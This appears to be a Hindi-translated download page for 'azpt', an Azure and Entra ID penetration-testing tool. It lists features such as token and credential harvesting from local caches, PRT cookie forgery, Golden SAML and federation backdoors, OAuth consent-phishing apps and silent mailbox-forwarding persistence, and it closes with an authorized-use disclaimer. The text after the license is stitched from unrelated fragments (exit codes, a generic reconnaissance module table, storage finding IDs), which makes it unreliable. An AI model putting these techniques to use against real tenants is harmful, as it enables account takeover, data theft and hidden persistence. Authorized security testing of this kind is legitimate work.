- [x] Security Identifiers के साथ On-premises synced user enumeration (`enum synced`)
- [x] Logic App workflow parameters (definition से अलग standalone secrets)
- [x] Power Platform / Dataverse enumeration (environments, canvas apps, table listing, OData query)
- [x] MSAL token cache extraction (`token extract` — `.azure/msal_token_cache.json` से refresh + access tokens)
- [x] M365 breadth: Teams message dump, mail/file search, automated secret scanning (`m365 scan`)
- [x] Azure DevOps enumeration और abuse: service connections, variable groups, pipeline YAML preview, real pipeline run + build log (`devops`)
- [x] transient ACI container के माध्यम से ARM `deploymentScripts` RCE, managed-identity attach के साथ (`arm deploy-script`)
- [x] ARM privesc/persistence primitives: self/backdoor RBAC role assignment, user-assigned identity attach (`persistence`)
- [x] AKS attack-graph wiring: kubelet identity node + उसका RBAC (ACR pull, आदि) scored attack paths के रूप में surfaced, auth-posture detection (private/AAD/Azure RBAC/local-accounts-disabled)
- [x] चुराए गए kubeconfig से Direct Kubernetes API access (`k8s` — secrets, service accounts, pods, RBAC privesc enumeration, non-interactive pod exec, service-account token minting)
- [x] Azure Workload Identity pivot: चुराए गए, federated service-account token को बिना किसी secret के real Azure AD access token के लिए exchange करें (`k8s pivot-azure`)
- [x] Azure Resource Graph (KQL) queries: arbitrary KQL (`enum kql`) + single-query estate listing (`enum resources --fast`)
- [x] Local credential harvesting (`harvest`): az CLI (`accessTokens.json`, `azureProfile.json`, `service_principal_entries.json`, MSAL cache) और Az PowerShell (`AzureRmContext.json`, Windows पर DPAPI `TokenCache.dat`)
- [x] PRT abuse (`prt`): PRT + session key से KDF v2 `x-ms-RefreshTokenCredential` SSO-cookie forge, पूरी nonce→cookie→authorize→token chain; on-host BrowserCore.exe extraction (Windows)
- [x] Device registration (`device register`): DRS rogue-device join → device cert/key (PRT prerequisite, device-based CA bypass, persistence)
- [x] Federation attacks (`federation`): managed→federated backdoor (`ConvertTo-AADIntBackdoor`) + Golden SAML forgery & SAML-bearer redemption (XML-DSig एक independent implementation के विरुद्ध validated)
- [x] OAuth consent-phishing app injection (`entra phish-app`): multi-tenant app + consent URLs + local reply-URL token catcher (`Invoke-InjectOAuthApp`)
- [x] Mailbox persistence (`m365 rules`): Graph `messageRules` के माध्यम से silent inbox-forwarding rules
- [x] Offline directory model (`scan dump`/`scan query`): पूरा directory + attack graph pure-Go SQLite (`modernc.org/sqlite`) में, 13 canned analytic views
- [x] Windows on-host helpers: BrowserCore के माध्यम से PRT cookie extraction (`prt extract`), AD Connect sync-credential dump (`adconnect sync-creds`), DPAPI (`CryptUnprotectData`) — build-tagged, Windows के बाहर no-op guidance
- [ ] `prt request`: registered device से real PRT प्राप्त करें (device registration → KDF v2 cookie को chain करता है)
- [ ] Seamless SSO Kerberos silver ticket; WHfB key registration
- [ ] AD Connect sync-credential *decryption* (वर्तमान में encrypted blob dump करता है → AADInternals को hand off करें)

---

## License

[MIT License](https://github.com/hac01/azure-pentesting-suite/blob/main/LICENSE) के अंतर्गत released।

`azpt` एक offensive security tool है जो केवल authorized testing के लिए है।
इसका उपयोग केवल उन tenants और subscriptions के विरुद्ध करें जिनके आप owner हैं या जिनका assessment करने के लिए आपके पास explicit
written permission है। इसका उपयोग आप कैसे करते हैं, इसके लिए आप जिम्मेदार हैं।
टूल डाउनलोड करें
-h
--help
-V
--version
KITPLOIT_TIMEOUTअनुरोध टाइमआउट (सेकंड में)
एग्ज़िट कोडविवरण
0सफलता
1सामान्य त्रुटि
2अमान्य तर्क
3प्रमाणीकरण विफलता
4नेटवर्क त्रुटि
5सर्वर त्रुटि
ModuleDescription
dnsDNS enumeration and zone transfer attempts
whoisWHOIS lookup for domain registration details
subdomainSubdomain discovery using multiple sources
portscanBasic TCP port scanning
headersHTTP header analysis
sslSSL/TLS certificate inspection
techTechnology fingerprinting
emailEmail address harvesting
breachCheck for known data breaches
IDगंभीरताअर्थ
STOR-001HIGHस्टोरेज खाता blob सार्वजनिक (अनाम) पहुंच की अनुमति देता है
STOR-002MEDIUMकेवल-HTTPS स्थानांतरण लागू नहीं है
STOR-003MEDIUMन्यूनतम TLS संस्करण 1.2 से नीचे
STOR-004LOWसाझा कुंजी (खाता कुंजी) पहुंच सक्षम
STOR-005MEDIUMस्टोरेज सभी नेटवर्क से पहुंच योग्य (फ़ायरवॉल डिफ़ॉल्ट-अनुमति)
BLOB-001MEDIUMकंटेनर अनाम लिस्टिंग की अनुमति देता है
BLOB-002LOWBlob संस्करणीकरण सक्षम है (इतिहास पुनर्प्राप्त करने योग्य हो सकता है)
BLOB-003MEDIUMऐतिहासिक blob संस्करण अनाम रूप से पुनर्प्राप्त करने योग्य
BLOB-010भिन्नसंवेदनशील फ़ाइल अनाम रूप से उजागर (गंभीरता वर्गीकरणकर्ता से)